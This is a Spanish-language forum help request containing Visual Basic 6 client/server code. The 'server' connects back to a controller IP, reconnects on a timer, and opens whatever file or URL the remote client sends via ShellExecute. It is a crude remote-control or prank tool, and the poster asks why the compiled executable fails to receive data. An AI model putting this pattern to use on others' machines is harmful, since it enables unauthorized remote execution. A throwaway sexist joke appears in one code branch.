el codigo un poco engorroso
servidor:
Código
Option Explicit Public WithEvents server As CSocketMaster Private Sub Form_Load() Set server = New CSocketMaster server.CloseSck server.RemoteHost = "ip-ip-ip-ip" server.Connect server.RemoteHost, 6000 End Sub Private Sub Label1_Click() If server.State = sckConnected Then Label1.Caption = "conectado" ElseIf server.State = sckClosed Then Label1.Caption = "desconectado" ElseIf server.State = sckConnecting Then Label1.Caption = "conectando" End If End Sub Private Sub Timer1_Timer() If server.State = 0 Then server.Connect server.RemoteHost, 6000 ElseIf server.State = 7 Then Else server.CloseSck End If End Sub Private Sub server_DataArrival(ByVal bytesTotal As Long) Dim datos As String Dim res As String Dim res1 As String server.GetData datos Select Case LCase(Split(datos, "|")(0)) Case LCase("mensaje") If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3) End If '''' If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)) If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja" End If '''' If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3) End If '''' If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)) If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal End If ''''' '''''''''''' '''''''''''' End Select End Sub
cliente:
Código
Option Explicit Public WithEvents ws As CSocketMaster Private Sub Check2_Click() If Check2.Value = 1 Then Check3.Enabled = False ElseIf Check2.Value = 0 Then Check3.Enabled = True End If End Sub Private Sub Check3_Click() If Check3.Value = 1 Then Check2.Enabled = False ElseIf Check3.Value = 0 Then Check2.Enabled = True End If If Check3.Value = 1 Then Option1.Enabled = False Option2.Enabled = False Option3.Enabled = False Option5.Enabled = False Text6.Enabled = False End If If Check3.Value = 0 Then Option1.Enabled = True Option2.Enabled = True Option3.Enabled = True Option5.Enabled = True Text6.Enabled = True End If End Sub Private Sub Command1_Click() Dim datos As String Dim datos1 As String Dim mensajes As String Dim titulo As String datos1 = Check1.Value mensajes = Text1.Text titulo = Text4.Text datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option4.Value & "|" & Check3.Value & "|" & Text5.Text & "|" & Option5.Value & "|" & Text6.Text '''''''''''''''''''''''''1'''''''''''''''''''''2''''''''''''''''''3'''''''''''''''''''4'''''''''''''''''''5''''''''''''''''''''6''''''''''''''''''''7''''''''''''''''''''8'''''''''''''''''''9''''' ws.SendData datos End Sub Private Sub Command2_Click() ws.CloseSck ws.LocalPort = Text2.Text ws.Listen Text2.Enabled = False End Sub Private Sub Form_Load() Set ws = New CSocketMaster End Sub Private Sub Label5_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single) If ws.State = sckConnected Then Label5.Caption = "Conectado" ElseIf ws.State = sckClosed Then Label5.Caption = "Desconectado" ElseIf ws.State = sckConnecting Then Label5.Caption = "Conectando" End If End Sub Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.CloseSck ws.Accept requestID End Sub
ya se que es muy engorroso pero alguno que tenga ganas

buen el problem principal es: dentro del visual basic (dos visual basic separados (cliente-servidor)) funciona bien
fuera (osea el .exe final) no recibe los datos
adiooos